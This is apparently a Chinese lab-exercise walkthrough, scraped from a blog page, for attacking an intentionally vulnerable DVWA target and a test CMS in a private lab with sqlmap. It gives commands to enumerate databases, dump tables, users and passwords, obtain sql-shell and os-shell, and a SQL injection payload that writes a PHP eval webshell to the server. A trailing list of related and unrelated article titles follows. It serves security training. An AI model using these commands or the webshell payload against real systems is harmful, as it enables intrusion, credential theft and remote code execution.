实验环境要求:

1、安装win7或win10的笔记本或PC电脑一台,硬盘100GB,内存8GB

2、安装VMware Workstation 14以上

总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的sqlmap攻击dvwa上的sql注入和sql盲注漏洞。


任务一、使用kali中的sqlmap攻击dvwa中sql注入漏洞(low)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"


  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


任务二、使用kali中的sqlmap攻击dvwa中sql注入漏洞(medium)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察可以看出为POST表单

使用Burp劫获POST信息

将信息保存成文件

使用文件进行攻击


  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


任务三、使用kali中的sqlmap攻击dvwa中sql注入漏洞(high)

  1. 测试dvwa注入点,截图

sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"

观察页面信息为POST表单

原始方法肯定不行,所以再试试刚才的方法

保持请求

试过后发现失败

查看源码后使用二阶SQL注入—second-order

  1. 列出所有数据库,截图


  1. 获取数据表,截图


  1. 获取数据,截图


  1. 获取所有管理用户,截图


  1. 获取用户密码,截图


拓展任务一、使用kali中的sqlmap攻击cms中sql注入漏洞

  1. 测试cms注入点,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1


  1. 列出所有数据库,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs


  1. 获取数据表,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables


  1. 获取数据,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa


  1. 获取所有管理用户,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users


  1. 获取用户密码,截图

sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords


拓展任务二、通过sql注入漏洞获取sql-shell和os-shell

  1. 使用sqlmap查看当前用户是否为dba,截图


  1. 使用sqlmap获取sql-shell,截图


  1. 使用sqlmap获取os-shell,截图

直接使用命令是错误的

我们需要在靶机修改一些参数来实现

重启服务


  1. 通过sql注入漏洞上传一句话木马,截图

1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #

执行不了说明没有权限,修改dvwa文件权限


    

使用sqlmap的更多相关文章

  1. 关于sqlmap的使用

    好记性不如烂笔头,记录一下. 带cookie的注入 python sqlmap.py -u "http://www.xxx.com?id=1" --cookie="coo ...

  2. SQLMap Tamper Scripts Update 04/July/2016

    SQLMap Tamper Scripts Update apostrophemask.py Replaces apostrophe character with its UTF-8 full wid ...

  3. 定制sqlmap tamper脚本

    前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了. 测试 在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接 ...

  4. sqlmap --dns-domain模拟实践

    因为看到乌云的这一篇文章 http://drop.xbclub.org/static/drops/tips-5283.html 里面的提到的用sqlmap 的--dns-domain 进行dns 注入 ...

  5. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  6. sqlmap 帮助信息

    Usage: sqlmap.py [options] 选项: -h, --help 显示基本的帮助信息并退出 -hh 显示高级的帮助信息并退出 --version 显示程序版本号并退出 -v VERB ...

  7. sqlmap用户手册 | WooYun知识库

    sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息. 原文:http://drops.wooyun.org/tips/143  ============ ...

  8. sqlmap http头注入的一个技巧

    sqlmap.py -u "url" --host * --thread=1 --batch -v 1 --delay=0.7 --dbms mysql   --current-d ...

  9. 利用sqlmap进行mysql提权的小方法(win与liunx通用)

    文章作者:pt007@vip.sina.com文章来源:https://www.t00ls.net/thread-36196-1-1.html1.连接mysql数据打开一个交互shell:sqlmap ...

  10. 4.羽翼sqlmap学习笔记之Post登录框注入

    4.Sqlmap系列教程——post登录框注入注入点: http://xxx.xxx.com/Login.asp 注入方式一: 1.对着注入点使用burp抓包,保存txt格式文件. 2.输入命令: . ...

随机推荐

  1. 解决 JPA 插入 MySQL 时间与实际时间差 13 个小时问题

    问题描述 公司使用的阿里云数据库服务器,插入时间与实际时间差 13 个小时 执行 show variables like "%time_zone%"; 结果如下: Variable ...

  2. PyQt(Python+Qt)学习随笔:QTabWidget选项卡部件概述和属性介绍

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 一.概述 TabWidget选项卡组件是一个带一到多个选项卡栏和对应页面区域的组件,对应类QTabW ...

  3. 第九章 Python文件操作

    前一阵子写类相关的内容,把老猿写得心都累了,本来准备继续介绍一些类相关的知识的,如闭包.装饰器.描述符.枚举类.异常等,现在实在不想继续,以后再开章节吧.本章弄点开胃的小菜提提神,介绍Python中文 ...

  4. PyQt(Python+Qt)学习随笔:QTableWidgetItem项操作相关的flags、isSelected、checkState方法

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 QTableWidget中项操作相关的属性包括是否可用.是否可选中.是否可编辑.是否可复选.是否选中 ...

  5. webpack项目如何正确打包引入的自定义字体

    webpack项目如何正确打包引入的自定义字体 一. 如何在Vue或React项目中使用自定义字体 在开发前端项目时,经常会遇到UI同事希望在项目中使用一个炫酷字体的需求.那么怎么在项目中使用自定义字 ...

  6. 对 精致码农大佬 说的 Task.Run 会存在 内存泄漏 的思考

    一:背景 1. 讲故事 这段时间项目延期,加班比较厉害,博客就稍微停了停,不过还是得持续的技术输出呀! 园子里最近挺热闹的,精致码农大佬分享了三篇文章: 为什么要小心使用 Task.Run [http ...

  7. 第 3 篇 Scrum 冲刺博客

    每天举行会议 会议照片: 昨天已完成的工作与今天计划完成的工作及工作中遇到的困难: 成员姓名 昨天完成工作 今天计划完成的工作 工作中遇到的困难 蔡双浩 了解任务,并做相关学习和思考,创建基本的收藏夹 ...

  8. 从.NET转GO了

    前言 近几个月刚从.NET转到GO,入职了一个使用GO微服务的互联网公司.因为需要熟悉公司的微服务架构和适应新公司的节奏,所以最近没时间写博客,现在简单做个总结. 转GO的经历 自学GO 上一年的八月 ...

  9. I/O方式(本章最重要)

    目录 程序查询方式 程序查询方式接口结构 例题 本节回顾 程序中断方式 中断的基本概念 工作流程 中断请求 分类 中断请求标记 中断响应 判优实现 优先级设置 中断处理过程 中断隐指令 硬件向量法 中 ...

  10. Spring框架之jms源码完全解析

    Spring框架之jms源码完全解析 我们在前两篇文章中介绍了Spring两大核心IOC(Inversion of Control控制反转)和AOP(Aspect Oriented Programmi ...